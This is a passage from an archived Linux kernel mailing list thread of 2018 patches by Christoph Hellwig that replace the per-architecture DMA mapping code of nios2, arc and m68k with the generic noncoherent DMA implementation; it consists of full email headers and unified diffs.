 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long addr = (unsigned long) CAC_ADDR((unsigned long) vaddr);
 
 	free_pages(addr, get_order(size));
 }
-
-static int nios2_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-
-	for_each_sg(sg, sg, nents, i) {
-		void *addr = sg_virt(sg);
-
-		if (!addr)
-			continue;
-
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync_for_device(addr, sg->length, direction);
-	}
-
-	return nents;
-}
-
-static dma_addr_t nios2_dma_map_page(struct device *dev, struct page *page,
-			unsigned long offset, size_t size,
-			enum dma_data_direction direction,
-			unsigned long attrs)
-{
-	void *addr = page_address(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_device(addr, size, direction);
-
-	return page_to_phys(page) + offset;
-}
-
-static void nios2_dma_unmap_page(struct device *dev, dma_addr_t dma_address,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
-}
-
-static void nios2_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-		int nhwentries, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	void *addr;
-	int i;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	for_each_sg(sg, sg, nhwentries, i) {
-		addr = sg_virt(sg);
-		if (addr)
-			__dma_sync_for_cpu(addr, sg->length, direction);
-	}
-}
-
-static void nios2_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
-}
-
-static void nios2_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_device(sg_virt(sg), sg->length, direction);
-
-}
-
-const struct dma_map_ops nios2_dma_ops = {
-	.alloc			= nios2_dma_alloc,
-	.free			= nios2_dma_free,
-	.map_page		= nios2_dma_map_page,
-	.unmap_page		= nios2_dma_unmap_page,
-	.map_sg			= nios2_dma_map_sg,
-	.unmap_sg		= nios2_dma_unmap_sg,
-	.sync_single_for_device	= nios2_dma_sync_single_for_device,
-	.sync_single_for_cpu	= nios2_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu	= nios2_dma_sync_sg_for_cpu,
-	.sync_sg_for_device	= nios2_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nios2_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc
Subject: [PATCH 06/22] arc: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:02:57 +0200
Lines: 257
Approved: news@gmane.org
Message-ID: <20180420080313.18796-7-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211739 10357 195.159.176.226 (20 Apr 2018 08:08:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:08:59 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Apr 20 10:08:53 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1f9R6A-0002WR-GT
	for linux-arm-kernel@m.gmane.org; Fri, 20 Apr 2018 10:08:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=FCTJg5t4h8GkO/e3a3W09mgXD5lXnLL9t2EB9YOK5/E=; b=fNAj42YDME2QqwRi630RhMXt/t
	47DZZupg+PgwPdfKgWhNDgbVQKHFtK/zhBHGJcaBiPoangZhCgsygv2RQGKz4kjYnG457bxWrWcbZ
	d3mGkFZv1sHaVIN8Qz6/XVi321lhA8MZJCqCdfsmak19CABRveWBs8eDTufIUeioBjhg1Qh7Cxnik
	n3w8iuL9SH/FZQSxkBM/BsJISu5t3dCZyLf/gpU9SCBkFJPfzZ9czIUvP8OKeiXoRjasJdQOnruKh
	NAc+SVkN13hhEzSedcw9OazXDi99OfIHPd4cpaA4+/VAbcobXM++8SeUl8ixl/ydnol8gmnGf/AUi
	IJTHX+Dg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R88-0004WF-U8; Fri, 20 Apr 2018 08:10:52 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R16-0007MW-D9; Fri, 20 Apr 2018 08:03:37 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:644809 gmane.linux.kernel.cross-arch:43575 gmane.linux.ports.parisc:28532 gmane.linux.ports.sh.devel:56883 gmane.linux.ports.hexagon:1660 gmane.linux.kernel:2746091 gmane.linux.ports.alpha:4974 gmane.linux.ports.sparc:27700 gmane.linux.kernel.arc:3817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/644809>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arc/Kconfig                   |   4 +
 arch/arc/include/asm/Kbuild        |   1 +
 arch/arc/include/asm/dma-mapping.h |  21 -----
 arch/arc/mm/dma.c                  | 141 +++--------------------------
 4 files changed, 19 insertions(+), 148 deletions(-)
 delete mode 100644 arch/arc/include/asm/dma-mapping.h

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 7498aca4b887..89d47eac18b2 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -9,11 +9,15 @@
 config ARC
 	def_bool y
 	select ARC_TIMERS
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_SUPPORTS_ATOMIC_RMW if ARC_HAS_LLSC
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_MMAP
 	select GENERIC_ATOMIC64 if !ISA_ARCV2 || !(ARC_HAS_LL64 && ARC_HAS_LLSC)
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_FIND_FIRST_BIT
diff --git a/arch/arc/include/asm/Kbuild b/arch/arc/include/asm/Kbuild
index 4bd5d4369e05..bbdcb955e18f 100644
--- a/arch/arc/include/asm/Kbuild
+++ b/arch/arc/include/asm/Kbuild
@@ -2,6 +2,7 @@
 generic-y += bugs.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += extable.h
 generic-y += fb.h
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
deleted file mode 100644
index 7a16824bfe98..000000000000
--- a/arch/arc/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * DMA Mapping glue for ARC
- *
- * Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com)
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
-
-#ifndef ASM_ARC_DMA_MAPPING_H
-#define ASM_ARC_DMA_MAPPING_H
-
-extern const struct dma_map_ops arc_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &arc_dma_ops;
-}
-
-#endif
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 1dcc404b5aec..ecfeb5585cc7 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -16,13 +16,12 @@
  * The default DMA address == Phy address which is 0x8000_0000 based.
  */
 
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
 
-
-static void *arc_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long order = get_order(size);
 	struct page *page;
@@ -89,7 +88,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	return kvaddr;
 }
 
-static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	phys_addr_t paddr = dma_handle;
@@ -105,9 +104,9 @@ static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 	__free_pages(page, get_order(size));
 }
 
-static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
-			void *cpu_addr, dma_addr_t dma_addr, size_t size,
-			unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs)
 {
 	unsigned long user_count = vma_pages(vma);
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
@@ -135,7 +134,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
  * CPU accesses page via normal paddr, thus needs to explicitly made
  * consistent before each use
  */
-static void _dma_cache_sync(phys_addr_t paddr, size_t size,
+static void _dma_cache_sync(struct device *dev, phys_addr_t paddr size_t size,
 		enum dma_data_direction dir)
 {
 	switch (dir) {
@@ -153,126 +152,14 @@ static void _dma_cache_sync(phys_addr_t paddr, size_t size,
 	}
 }
 
-/*
- * arc_dma_map_page - map a portion of a page for streaming DMA
- *
- * Ensure that any data held in the cache is appropriately discarded
- * or written back.
- *
- * The device owns this memory once this call has completed.  The CPU
- * can regain ownership by calling dma_unmap_page().
- *
- * Note: while it takes struct page as arg, caller can "abuse" it to pass
- * a region larger than PAGE_SIZE, provided it is physically contiguous
- * and this still works correctly
- */
-static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	phys_addr_t paddr = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		_dma_cache_sync(paddr, size, dir);
-
-	return paddr;
-}
-
-/*
- * arc_dma_unmap_page - unmap a buffer previously mapped through dma_map_page()
- *
- * After this call, reads by the CPU to the buffer are guaranteed to see
- * whatever the device wrote there.
- *
- * Note: historically this routine was not implemented for ARC
- */
-static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
-			       size_t size, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
-	phys_addr_t paddr = handle;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		_dma_cache_sync(paddr, size, dir);
-}
-
-static int arc_dma_map_sg(struct device *dev, struct scatterlist *sg,
-	   int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir);
-
-	return nents;
-}
-
-static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir,
-			     unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		arc_dma_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir,
-				   attrs);
-}
-
-static void arc_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
-{
-	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
-}
-
-static void arc_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
+	return _dma_cache_sync(dev, paddr, size, dir);
 }
 
-static void arc_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sglist, int nelems,
-		enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync(sg_phys(sg), sg->length, dir);
+	return _dma_cache_sync(dev, paddr, size, dir);
 }
-
-static void arc_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nelems,
-		enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync(sg_phys(sg), sg->length, dir);
-}
-
-static int arc_dma_supported(struct device *dev, u64 dma_mask)
-{
-	/* Support 32 bit DMA mask exclusively */
-	return dma_mask == DMA_BIT_MASK(32);
-}
-
-const struct dma_map_ops arc_dma_ops = {
-	.alloc			= arc_dma_alloc,
-	.free			= arc_dma_free,
-	.mmap			= arc_dma_mmap,
-	.map_page		= arc_dma_map_page,
-	.unmap_page		= arc_dma_unmap_page,
-	.map_sg			= arc_dma_map_sg,
-	.unmap_sg		= arc_dma_unmap_sg,
-	.sync_single_for_device	= arc_dma_sync_single_for_device,
-	.sync_single_for_cpu	= arc_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu	= arc_dma_sync_sg_for_cpu,
-	.sync_sg_for_device	= arc_dma_sync_sg_for_device,
-	.dma_supported		= arc_dma_supported,
-};
-EXPORT_SYMBOL(arc_dma_ops);
-- 
2.17.0

From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 10/22] m68k: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:01 +0200
Lines: 180
Approved: news@gmane.org
Message-ID: <20180420080313.18796-11-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211781 13344 195.159.176.226 (20 Apr 2018 08:09:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:09:41 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Apr 20 10:09:36 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9R6t-0003ME-DU
	for gla-linux-snps-arc@m.gmane.org; Fri, 20 Apr 2018 10:09:35 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=TX7iPnFEZVDEndwE0HfE+fT54ulV8HTg2mgKGGH7/fU=; b=EYMTwkk8oHvrBX5PJLcWtxmZxw
	GQT95k5d54Bv8movytbMfLPzGo3D0CWBSVrkbvo2CEIf3W8SI5anmpGcQKMiV59AGBY6zCnQbbV6f
	/v05NyV53dGYEw88ssW7S19wHLwaJkk8Zf7eyKbBAxM4EWORNHy3wan/HMaPXoaIEE4cb1pA4ommb
	Si5/1q6kU5KUwJq6dl+paKjICbR2tBYpXniE47DYSnkPZPnT0GZbpASnw3lbfI66NXzS5egeKNsrL
	l2h2UipEaN9LJsO8xwpvRVqVOmAuA6aHM9Cn3b+eLrtKqxncaPG860r5DQNBBzaNQ0qCGnO3O53Q+
	OUhDhAgQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R8y-0004tb-2q; Fri, 20 Apr 2018 08:11:44 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R1K-0007TW-Ah; Fri, 20 Apr 2018 08:03:50 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3818 gmane.linux.kernel.cross-arch:43576 gmane.linux.ports.parisc:28533 gmane.linux.ports.sh.devel:56884 gmane.linux.ports.hexagon:1661 gmane.linux.kernel:2746094 gmane.linux.ports.alpha:4975 gmane.linux.ports.sparc:27701 gmane.linux.ports.arm.kernel:644810
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3818>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/m68k/Kconfig                   |  2 +
 arch/m68k/include/asm/Kbuild        |  1 +
 arch/m68k/include/asm/dma-mapping.h | 12 -----
 arch/m68k/kernel/dma.c              | 68 ++++-------------------------
 4 files changed, 11 insertions(+), 72 deletions(-)
 delete mode 100644 arch/m68k/include/asm/dma-mapping.h

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 785612b576f7..3f61327da2d5 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -2,6 +2,7 @@
 config M68K
 	bool
 	default y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if HAS_DMA
 	select ARCH_MIGHT_HAVE_PC_PARPORT if ISA
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select HAVE_IDE
@@ -24,6 +25,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select DMA_NONCOHERENT_OPS if HAS_DMA
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index 88a9d27df1ac..a853c00f1374 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += barrier.h
 generic-y += device.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
deleted file mode 100644
index e3722ed04fbb..000000000000
--- a/arch/m68k/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _M68K_DMA_MAPPING_H
-#define _M68K_DMA_MAPPING_H
-
-extern const struct dma_map_ops m68k_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-        return &m68k_dma_ops;
-}
-
-#endif  /* _M68K_DMA_MAPPING_H */
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index c01b9b8f97bf..3d561c577d35 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -6,7 +6,7 @@
 
 #undef DEBUG
 
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/device.h>
 #include <linux/kernel.h>
 #include <linux/scatterlist.h>
@@ -18,7 +18,7 @@
 
 #if defined(CONFIG_MMU) && !defined(CONFIG_COLDFIRE)
 
-static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		gfp_t flag, unsigned long attrs)
 {
 	struct page *page, **map;
@@ -61,7 +61,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 	return addr;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *addr,
+void arch_dma_free(struct device *dev, size_t size, void *addr,
 		dma_addr_t handle, unsigned long attrs)
 {
 	pr_debug("dma_free_coherent: %p, %x\n", addr, handle);
@@ -72,8 +72,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *addr,
 
 #include <asm/cacheflush.h>
 
-static void *m68k_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -88,7 +88,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
@@ -96,8 +96,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
 
 #endif /* CONFIG_MMU && !CONFIG_COLDFIRE */
 
-static void m68k_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t handle,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
@@ -113,55 +113,3 @@ static void m68k_dma_sync_single_for_device(struct device *dev,
 		break;
 	}
 }
-
-static void m68k_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nents, enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-}
-
-static dma_addr_t m68k_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	dma_addr_t handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync_single_for_device(dev, handle, size, dir);
-
-	return handle;
-}
-
-static int m68k_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-	return nents;
-}
-
-const struct dma_map_ops m68k_dma_ops = {
-	.alloc			= m68k_dma_alloc,
-	.free			= m68k_dma_free,
-	.map_page		= m68k_dma_map_page,
-	.map_sg			= m68k_dma_map_sg,
-	.sync_single_for_device	= m68k_dma_sync_single_for_device,
-	.sync_sg_for_device	= m68k_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(m68k_dma_ops);
-- 
2.17.0

From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 12/22] microblaze: remove the consistent_sync and consistent_sync_page
